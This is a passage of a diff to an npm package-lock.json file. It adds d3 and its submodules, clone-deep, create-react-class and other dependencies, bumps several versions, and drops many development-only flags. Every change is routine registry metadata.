+ "integrity": "sha512-anTLTF7IK8Hd5f73zpPzt875I27UaaTWARJlfMGgnmQhvEe1uNHQRKBUbXL0Gc0VEYiVzsHsTPso5XdK8NGvFg==",
"requires": {
- "core-js": "^2.5.7",
- "regenerator-runtime": "^0.12.0"
+ "core-js": "^2.6.5",
+ "regenerator-runtime": "^0.13.2"
},
"dependencies": {
+ "core-js": {
+ "version": "2.6.5",
+ "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.5.tgz",
+ "integrity": "sha512-klh/kDpwX8hryYL14M9w/xei6vrv6sE8gTHDG7/T/+SEovB/G4ejwcfE/CBzO6Edsu+OETZMZ3wcX/EjUkrl5A=="
+ },
"regenerator-runtime": {
- "version": "0.12.1",
- "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.12.1.tgz",
- "integrity": "sha512-odxIc1/vDlo4iZcfXqRYFj0vpXFNoGdKMAUieAlFYO6m/nl5e9KR/beGf41z4a1FI+aQgtjhuaSlDxQ0hmkrHg=="
+ "version": "0.13.2",
+ "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.2.tgz",
+ "integrity": "sha512-S/TQAZJO+D3m9xeN1WTI8dLKBBiRgXBlTJvbWjCThHWZj9EvHK70Ff50/tYj2J/fvBY6JtFVwRuazHN2E7M9BA=="
}
}
},
@@ -331,6 +336,11 @@
"resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.2.tgz",
"integrity": "sha512-n/VQ4mbfr81aqkx/XmVicOLjviMuy02eenSdJY33SVA7S2J42EU0P1H0mOogfYedb3wXA0d/LVtBrgTSm04WEA=="
},
+ "@kunukn/react-collapse": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.0.5.tgz",
+ "integrity": "sha1-g7BZ6nflM6g+NH6RK0dknyvAxps="
+ },
"@webassemblyjs/ast": {
"version": "1.7.8",
"resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.7.8.tgz",
@@ -518,8 +528,7 @@
"abbrev": {
"version": "1.0.9",
"resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz",
- "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU=",
- "dev": true
+ "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU="
},
"accepts": {
"version": "1.3.5",
@@ -621,7 +630,6 @@
"resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz",
"integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=",
"dev": true,
- "optional": true,
"requires": {
"kind-of": "^3.0.2",
"longest": "^1.0.1",
@@ -631,8 +639,7 @@
"amdefine": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz",
- "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=",
- "dev": true
+ "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU="
},
"ansi-colors": {
"version": "3.1.0",
@@ -655,14 +662,12 @@
"ansi-regex": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
- "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=",
- "dev": true
+ "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8="
},
"ansi-styles": {
"version": "2.2.1",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz",
- "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=",
- "dev": true
+ "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4="
},
"anymatch": {
"version": "1.3.2",
@@ -678,8 +683,50 @@
"aproba": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz",
- "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==",
- "dev": true
+ "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw=="
+ },
+ "are-we-there-yet": {
+ "version": "1.1.5",
+ "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz",
+ "integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==",
+ "requires": {
+ "delegates": "^1.0.0",
+ "readable-stream": "^2.0.6"
+ },
+ "dependencies": {
+ "isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+ },
+ "process-nextick-args": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
+ "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw=="
+ },
+ "readable-stream": {
+ "version": "2.3.6",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
+ "requires": {
+ "core-util-is": "~1.0.0",
+ "inherits": "~2.0.3",
+ "isarray": "~1.0.0",
+ "process-nextick-args": "~2.0.0",
+ "safe-buffer": "~5.1.1",
+ "string_decoder": "~1.1.1",
+ "util-deprecate": "~1.0.1"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+ "requires": {
+ "safe-buffer": "~5.1.0"
+ }
+ }
+ }
},
"argparse": {
"version": "1.0.9",
@@ -714,8 +761,7 @@
"array-find-index": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz",
- "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=",
- "dev": true
+ "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E="
},
"array-flatten": {
"version": "2.1.1",
@@ -780,8 +826,7 @@
"asn1": {
"version": "0.2.3",
"resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz",
- "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=",
- "dev": true
+ "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y="
},
"asn1.js": {
"version": "4.10.1",
@@ -823,8 +868,7 @@
"assert-plus": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
- "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=",
- "dev": true
+ "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU="
},
"assertion-error": {
"version": "1.1.0",
@@ -856,6 +900,11 @@
"integrity": "sha1-GdOGodntxufByF04iu28xW0zYC0=",
"dev": true
},
+ "async-foreach": {
+ "version": "0.1.3",
+ "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz",
+ "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI="
+ },
"async-limiter": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.0.tgz",
@@ -865,8 +914,7 @@
"asynckit": {
"version": "0.4.0",
"resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
- "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=",
- "dev": true
+ "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k="
},
"atob": {
"version": "2.1.1",
@@ -877,8 +925,7 @@
"aws-sign2": {
"version": "0.7.0",
"resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
- "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=",
- "dev": true
+ "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg="
},
"aws4": {
"version": "1.7.0",
@@ -2202,8 +2249,7 @@
"balanced-match": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz",
- "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=",
- "dev": true
+ "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c="
},
"base": {
"version": "0.11.2",
@@ -2304,7 +2350,6 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.1.tgz",
"integrity": "sha1-Y7xdy2EzG5K8Bf1SiVPDNGKgb40=",
- "dev": true,
"optional": true,
"requires": {
"tweetnacl": "^0.14.3"
@@ -2345,6 +2390,14 @@
"integrity": "sha1-vPEwUspURj8w+fx+lbmkdjCpSSE=",
"dev": true
},
+ "block-stream": {
+ "version": "0.0.9",
+ "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz",
+ "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=",
+ "requires": {
+ "inherits": "~2.0.0"
+ }
+ },
"bluebird": {
"version": "3.5.1",
"resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz",
@@ -2443,7 +2496,6 @@
"version": "1.1.8",
"resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.8.tgz",
"integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=",
- "dev": true,
"requires": {
"balanced-match": "^1.0.0",
"concat-map": "0.0.1"
@@ -2618,8 +2670,7 @@
"builtin-modules": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz",
- "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=",
- "dev": true
+ "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8="
},
"builtin-status-codes": {
"version": "3.0.0",
@@ -2744,7 +2795,6 @@
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz",
"integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=",
- "dev": true,
"requires": {
"camelcase": "^2.0.0",
"map-obj": "^1.0.0"
@@ -2753,8 +2803,7 @@
"camelcase": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz",
- "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=",
- "dev": true
+ "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8="
}
}
},
@@ -2767,8 +2816,7 @@
"caseless": {
"version": "0.12.0",
"resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
- "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=",
- "dev": true
+ "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw="
},
"center-align": {
"version": "0.1.3",
@@ -2799,7 +2847,6 @@
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz",
"integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=",
- "dev": true,
"requires": {
"ansi-styles": "^2.2.1",
"escape-string-regexp": "^1.0.2",
@@ -2904,9 +2951,9 @@
}
},
"classnames": {
- "version": "2.2.5",
- "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.5.tgz",
- "integrity": "sha1-+zgB1FNGdknvNgPH1hoCvRKb3m0="
+ "version": "2.2.6",
+ "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz",
+ "integrity": "sha1-Q5Nb/90pHzJtrQogUwmzjQD2UM4="
},
"clean-css": {
"version": "4.1.11",
@@ -2953,6 +3000,32 @@
}
}
},
+ "clone-deep": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz",
+ "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==",
+ "requires": {
+ "for-own": "^1.0.0",
+ "is-plain-object": "^2.0.4",
+ "kind-of": "^6.0.0",
+ "shallow-clone": "^1.0.0"
+ },
+ "dependencies": {
+ "for-own": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz",
+ "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=",
+ "requires": {
+ "for-in": "^1.0.1"
+ }
+ },
+ "kind-of": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz",
+ "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA=="
+ }
+ }
+ },
"co": {
"version": "4.6.0",
"resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
@@ -2961,8 +3034,7 @@
"code-point-at": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz",
- "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=",
- "dev": true
+ "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c="
},
"collection-visit": {
"version": "1.0.0",
@@ -3008,7 +3080,6 @@
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz",
"integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=",
- "dev": true,
"requires": {
"delayed-stream": "~1.0.0"
}
@@ -3016,8 +3087,7 @@
"commander": {
"version": "2.15.1",
"resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz",
- "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==",
- "dev": true
+ "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag=="
},
"commondir": {
"version": "1.0.1",
@@ -3095,8 +3165,7 @@
"concat-map": {
"version": "0.0.1",
"resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
- "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=",
- "dev": true
+ "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s="
},
"concat-stream": {
"version": "1.6.0",
@@ -3179,6 +3248,11 @@
"date-now": "^0.1.4"
}
},
+ "console-control-strings": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",
+ "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4="
+ },
"constants-browserify": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz",
@@ -3293,7 +3367,7 @@
},
"yargs": {
"version": "11.1.0",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
+ "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
"integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==",
"dev": true,
"requires": {
@@ -3321,8 +3395,7 @@
"core-util-is": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
- "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=",
- "dev": true
+ "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac="
},
"cosmiconfig": {
"version": "5.2.0",
@@ -3397,6 +3470,16 @@
"sha.js": "^2.4.8"
}
},
+ "create-react-class": {
+ "version": "15.6.2",
+ "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.2.tgz",
+ "integrity": "sha1-zx7RXxKq1/FO9fLf4F5sQvke8Co=",
+ "requires": {
+ "fbjs": "^0.8.9",
+ "loose-envify": "^1.3.1",
+ "object-assign": "^4.1.1"
+ }
+ },
"cross-spawn": {
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz",
@@ -3548,7 +3631,6 @@
"version": "0.4.1",
"resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz",
"integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=",
- "dev": true,
"requires": {
"array-find-index": "^1.0.1"
}
@@ -3574,11 +3656,274 @@
"es5-ext": "^0.10.9"
}
},
+ "d3": {
+ "version": "5.11.0",
+ "resolved": "https://registry.npmjs.org/d3/-/d3-5.11.0.tgz",
+ "integrity": "sha512-LXgMVUAEAzQh6WfEEOa8tJX4RA64ZJ6twC3CJ+Xzid+fXWLTZkkglagXav/eOoQgzQi5rzV0xC4Sfspd6hFDHA==",
+ "requires": {
+ "d3-array": "1",
+ "d3-axis": "1",
+ "d3-brush": "1",
+ "d3-chord": "1",
+ "d3-collection": "1",
+ "d3-color": "1",
+ "d3-contour": "1",
+ "d3-dispatch": "1",
+ "d3-drag": "1",
+ "d3-dsv": "1",
+ "d3-ease": "1",
+ "d3-fetch": "1",
+ "d3-force": "1",
+ "d3-format": "1",
+ "d3-geo": "1",
+ "d3-hierarchy": "1",
+ "d3-interpolate": "1",
+ "d3-path": "1",
+ "d3-polygon": "1",
+ "d3-quadtree": "1",
+ "d3-random": "1",
+ "d3-scale": "2",
+ "d3-scale-chromatic": "1",
+ "d3-selection": "1",
+ "d3-shape": "1",
+ "d3-time": "1",
+ "d3-time-format": "2",
+ "d3-timer": "1",
+ "d3-transition": "1",
+ "d3-voronoi": "1",
+ "d3-zoom": "1"
+ }
+ },
+ "d3-array": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz",
+ "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw=="
+ },
+ "d3-axis": {
+ "version": "1.0.12",
+ "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz",
+ "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ=="
+ },
+ "d3-brush": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.3.tgz",
+ "integrity": "sha512-v8bbYyCFKjyCzFk/tdWqXwDykY8YWqhXYjcYxfILIit085VZOpj4XJKOMccTsvWxgzSLMJQg5SiqHjslsipEDg==",
+ "requires": {
+ "d3-dispatch": "1",
+ "d3-drag": "1",
+ "d3-interpolate": "1",
+ "d3-selection": "1",
+ "d3-transition": "1"
+ }
+ },
+ "d3-chord": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz",
+ "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==",
+ "requires": {
+ "d3-array": "1",
+ "d3-path": "1"
+ }
+ },
+ "d3-collection": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz",
+ "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A=="
+ },
+ "d3-color": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.3.0.tgz",
+ "integrity": "sha512-NHODMBlj59xPAwl2BDiO2Mog6V+PrGRtBfWKqKRrs9MCqlSkIEb0Z/SfY7jW29ReHTDC/j+vwXhnZcXI3+3fbg=="
+ },
+ "d3-contour": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz",
+ "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==",
+ "requires": {
+ "d3-array": "^1.1.1"
+ }
+ },
+ "d3-dispatch": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.5.tgz",
+ "integrity": "sha512-vwKx+lAqB1UuCeklr6Jh1bvC4SZgbSqbkGBLClItFBIYH4vqDJCA7qfoy14lXmJdnBOdxndAMxjCbImJYW7e6g=="
+ },
+ "d3-drag": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.4.tgz",
+ "integrity": "sha512-ICPurDETFAelF1CTHdIyiUM4PsyZLaM+7oIBhmyP+cuVjze5vDZ8V//LdOFjg0jGnFIZD/Sfmk0r95PSiu78rw==",
+ "requires": {
+ "d3-dispatch": "1",
+ "d3-selection": "1"
+ }
+ },
+ "d3-dsv": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.1.1.tgz",
+ "integrity": "sha512-1EH1oRGSkeDUlDRbhsFytAXU6cAmXFzc52YUe6MRlPClmWb85MP1J5x+YJRzya4ynZWnbELdSAvATFW/MbxaXw==",
+ "requires": {
+ "commander": "2",
+ "iconv-lite": "0.4",
+ "rw": "1"
+ }
+ },
+ "d3-ease": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.5.tgz",
+ "integrity": "sha512-Ct1O//ly5y5lFM9YTdu+ygq7LleSgSE4oj7vUt9tPLHUi8VCV7QoizGpdWRWAwCO9LdYzIrQDg97+hGVdsSGPQ=="
+ },
+ "d3-fetch": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.1.2.tgz",
+ "integrity": "sha512-S2loaQCV/ZeyTyIF2oP8D1K9Z4QizUzW7cWeAOAS4U88qOt3Ucf6GsmgthuYSdyB2HyEm4CeGvkQxWsmInsIVA==",
+ "requires": {
+ "d3-dsv": "1"
+ }
+ },
+ "d3-force": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz",
+ "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==",
+ "requires": {
+ "d3-collection": "1",
+ "d3-dispatch": "1",
+ "d3-quadtree": "1",
+ "d3-timer": "1"
+ }
+ },
+ "d3-format": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.3.2.tgz",
+ "integrity": "sha512-Z18Dprj96ExragQ0DeGi+SYPQ7pPfRMtUXtsg/ChVIKNBCzjO8XYJvRTC1usblx52lqge56V5ect+frYTQc8WQ=="
+ },
+ "d3-geo": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.11.6.tgz",
+ "integrity": "sha512-z0J8InXR9e9wcgNtmVnPTj0TU8nhYT6lD/ak9may2PdKqXIeHUr8UbFLoCtrPYNsjv6YaLvSDQVl578k6nm7GA==",
+ "requires": {
+ "d3-array": "1"
+ }
+ },
+ "d3-hierarchy": {
+ "version": "1.1.8",
+ "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.8.tgz",
+ "integrity": "sha512-L+GHMSZNwTpiq4rt9GEsNcpLa4M96lXMR8M/nMG9p5hBE0jy6C+3hWtyZMenPQdwla249iJy7Nx0uKt3n+u9+w=="
+ },
+ "d3-interpolate": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.3.2.tgz",
+ "integrity": "sha512-NlNKGopqaz9qM1PXh9gBF1KSCVh+jSFErrSlD/4hybwoNX/gt1d8CDbDW+3i+5UOHhjC6s6nMvRxcuoMVNgL2w==",
+ "requires": {
+ "d3-color": "1"
+ }
+ },
+ "d3-path": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.8.tgz",
+ "integrity": "sha512-J6EfUNwcMQ+aM5YPOB8ZbgAZu6wc82f/0WFxrxwV6Ll8wBwLaHLKCqQ5Imub02JriCVVdPjgI+6P3a4EWJCxAg=="
+ },
+ "d3-polygon": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.5.tgz",
+ "integrity": "sha512-RHhh1ZUJZfhgoqzWWuRhzQJvO7LavchhitSTHGu9oj6uuLFzYZVeBzaWTQ2qSO6bz2w55RMoOCf0MsLCDB6e0w=="
+ },
+ "d3-quadtree": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.6.tgz",
+ "integrity": "sha512-NUgeo9G+ENQCQ1LsRr2qJg3MQ4DJvxcDNCiohdJGHt5gRhBW6orIB5m5FJ9kK3HNL8g9F4ERVoBzcEwQBfXWVA=="
+ },
+ "d3-random": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz",
+ "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ=="
+ },
+ "d3-scale": {
+ "version": "2.2.2",
+ "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz",
+ "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==",
+ "requires": {
+ "d3-array": "^1.2.0",
+ "d3-collection": "1",
+ "d3-format": "1",
+ "d3-interpolate": "1",
+ "d3-time": "1",
+ "d3-time-format": "2"
+ }
+ },
+ "d3-scale-chromatic": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz",
+ "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==",
+ "requires": {
+ "d3-color": "1",
+ "d3-interpolate": "1"
+ }
+ },
+ "d3-selection": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.0.tgz",
+ "integrity": "sha512-EYVwBxQGEjLCKF2pJ4+yrErskDnz5v403qvAid96cNdCMr8rmCYfY5RGzWz24mdIbxmDf6/4EAH+K9xperD5jg=="
+ },
+ "d3-shape": {
+ "version": "1.3.5",
+ "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.5.tgz",
+ "integrity": "sha512-VKazVR3phgD+MUCldapHD7P9kcrvPcexeX/PkMJmkUov4JM8IxsSg1DvbYoYich9AtdTsa5nNk2++ImPiDiSxg==",
+ "requires": {
+ "d3-path": "1"
+ }
+ },
+ "d3-time": {
+ "version": "1.0.11",
+ "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.0.11.tgz",
+ "integrity": "sha512-Z3wpvhPLW4vEScGeIMUckDW7+3hWKOQfAWg/U7PlWBnQmeKQ00gCUsTtWSYulrKNA7ta8hJ+xXc6MHrMuITwEw=="
+ },
+ "d3-time-format": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.1.3.tgz",
+ "integrity": "sha512-6k0a2rZryzGm5Ihx+aFMuO1GgelgIz+7HhB4PH4OEndD5q2zGn1mDfRdNrulspOfR6JXkb2sThhDK41CSK85QA==",
+ "requires": {
+ "d3-time": "1"
+ }
+ },
+ "d3-timer": {
+ "version": "1.0.9",
+ "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.9.tgz",
+ "integrity": "sha512-rT34J5HnQUHhcLvhSB9GjCkN0Ddd5Y8nCwDBG2u6wQEeYxT/Lf51fTFFkldeib/sE/J0clIe0pnCfs6g/lRbyg=="
+ },
+ "d3-transition": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.2.0.tgz",
+ "integrity": "sha512-VJ7cmX/FPIPJYuaL2r1o1EMHLttvoIuZhhuAlRoOxDzogV8iQS6jYulDm3xEU3TqL80IZIhI551/ebmCMrkvhw==",
+ "requires": {
+ "d3-color": "1",
+ "d3-dispatch": "1",
+ "d3-ease": "1",
+ "d3-interpolate": "1",
+ "d3-selection": "^1.1.0",
+ "d3-timer": "1"
+ }
+ },
